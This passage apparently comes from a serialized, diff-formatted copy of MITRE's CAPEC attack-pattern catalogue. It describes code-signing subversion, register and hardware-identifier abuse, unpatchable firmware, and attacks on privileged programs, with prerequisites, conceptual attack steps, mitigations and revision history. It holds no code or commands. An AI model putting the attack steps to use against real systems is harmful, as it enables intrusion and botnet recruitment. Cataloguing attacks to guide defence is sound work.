boot code that is insufficiently protected. An adversary then modifies this memory to either bypass the secure boot process or to execute their own code.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A hardware product leverages a CPU that does not possess a memory-protection unit (MPU) and a memory-management unit (MMU) nor a special bit to support write exclusivity, resulting in no write exclusivity. Because of this, an adversary is able to inject malicious code into the memory and later execute it to achieve the desired outcome.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 1222 + + + + + 1252 + + + + + 1257 + + + + + 1260 + + + + + 1274 + + + + + 1282 + + + + + 1312 + + + + + 1316 + + + + + 1326 + + + + + + + + + + + + #indReferenceReference41624 + Reference_41624 + + + + + + + + + REF-687 + + + + + + + + + + + + #indReferenceReference41625 + Reference_41625 + + + + + + + + + REF-668 + + + + + + + + + + + + #indReferenceReference41626 + Reference_41626 + + + + + + + + + REF-689 + + + + + + + + + + + + #indReferenceReference41627 + Reference_41627 + + + + + + + + + REF-690 + + + + + + + + + + + + #indReferenceReference41628 + Reference_41628 + + + + + + + + + REF-691 + + + + + + + + + + + + #indReferenceReference41629 + Reference_41629 + + + + + + + + + REF-692 + + + + + + + + + + + + #indContentHistoryContentHistory41631 + Content_History_41631 + + + + + + + + + + + + + + + + #indSubmissionSubmission41632 + Submission_41632 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + + + + + + + + #CAPEC-68 + Subvert Code-signing Facilities + + + + + + + + + 68 + + + + + Subvert Code-signing Facilities + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many languages use code signing facilities to vouch for code's identity and to thus tie code to its assigned privileges within an environment. Subverting this mechanism can be instrumental in an attacker escalating privilege. Any means of subverting the way that a virtual machine enforces code signing classifies for this style of attack.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41645 + Related_Attack_Pattern_41645 + + + + + + + + + + + + + + 233 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A framework-based language that supports code signing (such as, and most commonly, Java or .NET)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Deployed code that has been signed by its authoring vendor, or a partner.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker will, for most circumstances, also need to be able to place code in the victim container. This does not necessarily mean that they will have to subvert host-level security, except when explicitly indicated.</xhtml:div> + + + + + + + + + + + + #indSkillSkill41653 + Skill_41653 + + + + + + + + + + + + + + Subverting code signing is not a trivial activity. Most code signing and verification schemes are based on use of cryptography and the attacker needs to have an understanding of these cryptographic operations in good detail. Additionally the attacker also needs to be aware of the way memory is assigned and accessed by the container since, often, the only way to subvert code signing would be to patch the code in memory. Finally, a knowledge of the platform specific mechanisms of signing and verifying code is a must. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The Attacker needs no special resources beyond the listed prerequisites in order to conduct this style of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence41659 + Consequence_41659 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A given code signing scheme may be fallible due to improper use of cryptography. Developers must never roll out their own cryptography, nor should existing primitives be modified or ignored.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If an attacker cannot attack the scheme directly, they might try to alter the environment that affects the signing and verification processes. A possible mitigation is to avoid reliance on flags or environment variables that are user-controllable.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In old versions (prior to 3.0b4) of the Netscape web browser Attackers able to foist a malicious Applet into a client's browser could execute the "Magic Coat" attack. In this attack, the offending Applet would implement its own getSigners() method. This implementation would use the containing VM's APIs to acquire other Applet's signatures (by calling _their_ getSigners() method) and if any running Applet had privileged-enough signature, the malicious Applet would have inherited that privilege just be (metaphorically) donning the others' coats.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some (older) web browsers allowed scripting languages, such as JavaScript, to call signed Java code. In these circumstances, the browser's VM implementation would choose not to conduct stack inspection across language boundaries (from called signed Java to calling JavaScript) and would short-circuit "true" at the language boundary. Doing so meant that the VM would allow any (unprivileged) script to call privileged functions within signed code with impunity, causing them to fall prey to luring attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to load unsigned code into the kernel of earlier versions of Vista and bypass integrity checking is an example of such subversion. In the proof-of-concept, it is possible to bypass the signature-checking mechanism Vista uses to load device drivers.</xhtml:div> + + + + + 325 + + + + + 328 + + + + + 1326 + + + + + + + + + + + + #indTaxonomyMappingSubvertTrustControlsCodeSigning + Subvert Trust Controls: Code Signing + + + + + + + + + + + + + + 1553.002 + + + + + Subvert Trust Controls: Code Signing + + + + + + + + + + + + #indContentHistoryContentHistory41686 + Content_History_41686 + + + + + + + + + + + + + + + + #indSubmissionSubmission41687 + Submission_41687 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification41692 + Modification_41692 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification41698 + Modification_41698 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required, Description Summary + + + + + + + + + + + + #indModificationModification41704 + Modification_41704 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification41710 + Modification_41710 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification41716 + Modification_41716 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-680 + Exploitation of Improperly Controlled Registers + + + + + + + + + 680 + + + + + Exploitation of Improperly Controlled Registers + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary exploits missing or incorrectly configured access control within registers to read/write data that is not meant to be obtained or modified by a user.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Hardware systems often utilize trusted lock bits to prevent a set of registers from being written to or to restrict a register to only being written to once. Registers are also frequently used to store sensitive data leveraged in additional security operations, such as secure booting, authenticating code, device attestation, and more. However, the access control mechanisms meant to protect these registers may be fully missing or ineffective due to misconfiguration. If an adversary is able to discover improper access controls surrounding registers, it could result in the adversary obtaining sensitive data and/or modifying data that is meant to be immutable. This can ultimately result in processes like secure boot being circumvented or in protected configurations being modified.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41736 + Related_Attack_Pattern_41736 + + + + + + + + + + + + + + 1 + + + + + 513 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41739 + Related_Attack_Pattern_41739 + + + + + + + + + + + + + + 180 + + + + + 513 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Awareness of the hardware being leveraged.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the hardware being leveraged.</xhtml:div> + + + + + + + + + + + + #indSkillSkill41748 + Skill_41748 + + + + + + + + + + + + + + Intricate knowledge of registers. + + + + + + + + + + + + #indConsequenceConsequence41751 + Consequence_41751 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41755 + Consequence_41755 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design proper access control policies for hardware register access from software and ensure these policies are implemented in accordance with the specified design.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure security lock bit protections are reviewed for design inconsistencies and common weaknesses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Test security lock programming flow in both pre-silicon and post-silicon environments.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that measurement data is stored in registers that are read-only or otherwise have access controls that prevent modification by an untrusted agent.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;During a System-on-Chip's (SoC) secure boot process, the code to be authenticated is measured to determine the code's validity. This entails the one-way hash of the code binary being calculated and extended to the previous hash. The value obtained after completion of the boot flow is then stored in a register with the intent of later verifying this value to determine if the boot flow has been tampered with. However, the register being used does not prevent an adversary from modifying the register's contents, which can result in the adversary spoofing the measurement data used in the attestation process.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 1224 + + + + + 1231 + + + + + 1233 + + + + + 1262 + + + + + 1283 + + + + + + + + + + + + #indReferenceReference41780 + Reference_41780 + + + + + + + + + REF-693 + + + + + + + + + + + + #indContentHistoryContentHistory41782 + Content_History_41782 + + + + + + + + + + + + + + + + #indSubmissionSubmission41783 + Submission_41783 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + + + + + + + + #CAPEC-681 + Exploitation of Improperly Controlled Hardware Security Identifiers + + + + + + + + + 681 + + + + + Exploitation of Improperly Controlled Hardware Security Identifiers + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary takes advantage of missing or incorrectly configured security identifiers (e.g., tokens), which are used for access control within a System-on-Chip (SoC), to read/write data or execute a given action.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A System-on-Chip (SoC) often implements a security identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, these mechanisms may be exploitable due to any number of the following:&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;The security identifiers are missing&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;The security identifiers are incorrectly implemented or generated&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;The security identifiers are generated with an obsolete encoding&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;The security identifiers are generated and implemented correctly, but are improperly protected&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the security identifiers leveraged by the SoC are missing or misconfigured, an adversary may be able to take advantage of this shortcoming to circumvent the intended access controls. This could result in the adversary gaining unintended access, performing a Denial of Service (DoS), escalating privileges, or spoofing actions from a trusted agent.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41810 + Related_Attack_Pattern_41810 + + + + + + + + + + + + + + 1 + + + + + 513 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41813 + Related_Attack_Pattern_41813 + + + + + + + + + + + + + + 180 + + + + + 513 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Awareness of the hardware being leveraged.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the hardware being leveraged.</xhtml:div> + + + + + + + + + + + + #indSkillSkill41822 + Skill_41822 + + + + + + + + + + + + + + Ability to execute actions within the SoC. + + + + + + + + + + + + #indSkillSkill41823 + Skill_41823 + + + + + + + + + + + + + + Intricate knowledge of the identifiers being utilized. + + + + + + + + + + + + #indConsequenceConsequence41826 + Consequence_41826 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41830 + Consequence_41830 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41834 + Consequence_41834 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Review generation of security identifiers for design inconsistencies and common weaknesses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Review security identifier decoders for design inconsistencies and common weaknesses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Test security identifier definition, access, and programming flow in both pre-silicon and post-silicon environments.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A system contains a register (divided into four 32-bit registers) that is used to store a 128-bit AES key for encryption/decryption, in addition to an access-policy register. The access-policy register determines which agents may access the AES-key registers, based on a corresponding security identifier. It is assumed the system has two agents: a Main-controller and an Aux-controller, with respective security identifiers "1" and "2". The Main-controller (ID "1") is meant to have access to the AES-key registers, while the Aux-controller (ID "2") has access to the access-policy register. If a SoC incorrectly generates security identifier "1" for both agents, then both agents will have access to the AES-key registers. This could further result in a Denial-of-Service (DoS) or the execution of an action that in turn could result in privilege escalation or unintended access.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 1259 + + + + + 1267 + + + + + 1270 + + + + + 1294 + + + + + 1302 + + + + + + + + + + + + #indReferenceReference41859 + Reference_41859 + + + + + + + + + REF-694 + + + + + + + + + + + + #indReferenceReference41860 + Reference_41860 + + + + + + + + + REF-695 + + + + + + + + + + + + #indContentHistoryContentHistory41862 + Content_History_41862 + + + + + + + + + + + + + + + + #indSubmissionSubmission41863 + Submission_41863 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + + + + + + + + #CAPEC-682 + Exploitation of Firmware or ROM Code with Unpatchable Vulnerabilities + + + + + + + + + 682 + + + + + Exploitation of Firmware or ROM Code with Unpatchable Vulnerabilities + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may exploit vulnerable code (i.e., firmware or ROM) that is unpatchable. Unpatchable devices exist due to manufacturers intentionally or inadvertently designing devices incapable of updating their software. Additionally, with updatable devices, the manufacturer may decide not to support the device and stop making updates to their software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When a vulnerability is found in a device that has no means of patching, the attack may be used against an entire class of devices. Devices from the same manufacturer often use similar or identical firmware, which could lead to widespread attacks. Devices of this nature are prime targets for botnet attacks. Consumer devices are frequently targeted for this attack due to the complexities of updating firmware once manufacturers no longer have physical access to a device. When exploiting a found vulnerability, adversaries often try to gain root access on a device. This allows them to use the device for any malicious purpose. Some example exploits are stealing device data, using the device for a ransomware attack, or recruiting the device for a botnet.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41879 + Related_Attack_Pattern_41879 + + + + + + + + + + + + + + 212 + + + + + + + + + + + + #indAttackStepAttackStep41882 + Attack_Step_41882 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine vulnerable firmware or ROM code] An adversary will attempt to find device models that are known to have unpatchable firmware or ROM code, or are deemed “end-of-support” where a patch will not be made. The adversary looks for vulnerabilities in firmware or ROM code for the identified devices, or looks for devices which have known vulnerabilities</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many botnets use wireless scanning to discover nearby devices that might have default credentials or commonly used passwords. Once these devices are infected, they can search for other nearby devices and so on.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep41888 + Attack_Step_41888 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine plan of attack] An adversary identifies a specific device/model that they wish to attack. They will also investigate similar devices to determine if the vulnerable firmware or ROM code is also present.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep41893 + Attack_Step_41893 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Carry out attack] An adversary exploits the vulnerable firmware or ROM code on the identified device(s) to achieve their desired goal.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Install malware on a device to recruit it for a botnet.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Install malware on the device and use it for a ransomware attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gain root access and steal information stored on the device.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manipulate the device to behave in unexpected ways which would benefit the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Awareness of the hardware being leveraged.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the hardware being leveraged, either physically or remotely.</xhtml:div> + + + + + + + + + + + + #indSkillSkill41908 + Skill_41908 + + + + + + + + + + + + + + Knowledge of various wireless protocols to enable remote access to vulnerable devices + + + + + + + + + + + + #indSkillSkill41909 + Skill_41909 + + + + + + + + + + + + + + Ability to identify physical entry points such as debug interfaces if the device is not being accessed remotely + + + + + + + + + + + + #indConsequenceConsequence41912 + Consequence_41912 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41916 + Consequence_41916 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41920 + Consequence_41920 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design systems and products with the ability to patch firmware or ROM code after deployment to fix vulnerabilities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Make use of OTA (Over-the-air) updates so that firmware can be patched remotely either through manual or automatic means</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An IoT company comes out with a line of smart products for home use such as home cameras, vacuums, and smart bulbs. The products become popular, and millions of consumers install these devices in their homes. All the devices use a custom module for encryption that is stored on a ROM chip, which is immutable memory and can't be changed. An adversary discovers that there is a vulnerability in the encryption module code that allows authentication bypass, gaining access to any device. The adversary then develops botnet code that is remotely downloaded onto the infected devices. This code scans the internet for nearby devices from the same product line and exploits the vulnerability, loading the botnet code onto these new devices. Over time, the adversary now has a botnet of devices that can carry out malicious activity such as a DDoS attacks. Once the vulnerability is found, it is impossible to remediate because the vulnerable code is unable to be updated.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Older smartphones can become out of date and manufacturers may stop putting out security updates as they focus on newer models. If an adversary discovers a vulnerability in an old smartphone there is a chance that a security update will not be made to mitigate it. This leaves anyone using the old smartphone vulnerable.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 1277 + + + + + 1310 + + + + + + + + + + + + #indReferenceReference41943 + Reference_41943 + + + + + + + + + REF-723 + + + + + + + + + + + + #indReferenceReference41944 + Reference_41944 + + + + + + + + + REF-724 + + + + + + + + + + + + #indReferenceReference41945 + Reference_41945 + + + + + + + + + REF-725 + + + + + + + + + + + + #indReferenceReference41946 + Reference_41946 + + + + + + + + + REF-726 + + + + + + + + + + + + #indContentHistoryContentHistory41948 + Content_History_41948 + + + + + + + + + + + + + + + + #indSubmissionSubmission41949 + Submission_41949 + + + + + + + + + CAPEC Content Team + + + + + 2022-09-29 + + + + + + + + + + + + #CAPEC-69 + Target Programs with Elevated Privileges + + + + + + + + + 69 + + + + + Target Programs with Elevated Privileges + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets programs running with elevated privileges. The adversary tries to leverage a vulnerability in the running program and get arbitrary code to execute with elevated privileges.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41961 + Related_Attack_Pattern_41961 + + + + + + + + + + + + + + 233 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41964 + Related_Attack_Pattern_41964 + + + + + + + + + + + + + + 8 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41965 + Related_Attack_Pattern_41965 + + + + + + + + + + + + + + 9 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41966 + Related_Attack_Pattern_41966 + + + + + + + + + + + + + + 10 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41967 + Related_Attack_Pattern_41967 + + + + + + + + + + + + + + 67 + + + + + + + + + + + + #indAttackStepAttackStep41970 + Attack_Step_41970 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find programs with elevated priveleges] The adversary probes for programs running with elevated privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep41976 + Attack_Step_41976 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find vulnerability in running program] The adversary looks for a vulnerability in the running program that would allow for arbitrary code execution with the privilege of the running program.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for improper input validation</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for improper failure safety. For instance when a program fails it may authorize restricted access to anyone.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for a buffer overflow which may be exploited if an adversary can inject unvalidated data.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep41984 + Attack_Step_41984 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute arbitrary code] The adversary exploits the vulnerability that they have found. For instance, they can try to inject and execute arbitrary code or write to OS resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted program runs with elevated OS privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted program accepts input data from the user or from another program.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted program is giving away information about itself. Before performing such attack, an eventual attacker may need to gather information about the services running on the host target. The more the host target is verbose about the services that are running (version number of application, etc.) the more information can be gather by an attacker.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack often requires communicating with the host target services directly. For instance Telnet may be enough to communicate with the host target.</xhtml:div> + + + + + + + + + + + + #indSkillSkill41997 + Skill_41997 + + + + + + + + + + + + + + An attacker can use a tool to scan and automatically launch an attack against known issues. A tool can also repeat a sequence of instructions and try to brute force the service on the host target, an example of that would be the flooding technique. + + + + + + + + + + + + #indSkillSkill41998 + Skill_41998 + + + + + + + + + + + + + + More advanced attack may require knowledge of the protocol spoken by the host service. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The log can have a trace of abnormal activity. Also if abnormal activity is detected on the host target. For instance flooding should be seen as abnormal activity and the target host may decide to take appropriate action in order to mitigate the attack (data filtering or blocking). Resource exhaustion is also a sign of abnormal activity.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence42004 + Consequence_42004 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence42011 + Consequence_42011 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42017 + Consequence_42017 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Apply the principle of least privilege.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Validate all untrusted data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Apply the latest patches.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Scan your services and disable the ones which are not needed and are exposed unnecessarily. Exposing programs increases the attack surface. Only expose the services which are needed and have security mechanisms such as authentication built around them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid revealing information about your system (e.g., version of the program) to anonymous users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Make sure that your program or service fail safely. What happen if the communication protocol is interrupted suddenly? What happen if a parameter is missing? Does your system have resistance and resilience to attack? Fail safely when a resource exhaustion occurs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If possible use a sandbox model which limits the actions that programs can take. A sandbox restricts a program to a set of privileges and commands that make it difficult or impossible for the program to cause any damage.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Check your program for buffer overflow and format String vulnerabilities which can lead to execution of malicious code.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor traffic and resource usage and pay attention if resource exhaustion occurs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Protect your log file from unauthorized modification and log forging.</xhtml:div> + + + + + 250 + + + + + 15 + + + + + + + + + + + + #indReferenceReference42040 + Reference_42040 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory42042 + Content_History_42042 + + + + + + + + + + + + + + + + #indSubmissionSubmission42043 + Submission_42043 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification42048 + Modification_42048 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification42054 + Modification_42054 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification42060 + Modification_42060 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required, References + + + + + + + + + + + + #indModificationModification42066 + Modification_42066 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification42072 + Modification_42072 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification42078 + Modification_42078 + + + + + + + + + CAPEC Content Team + + + + + The MITRE 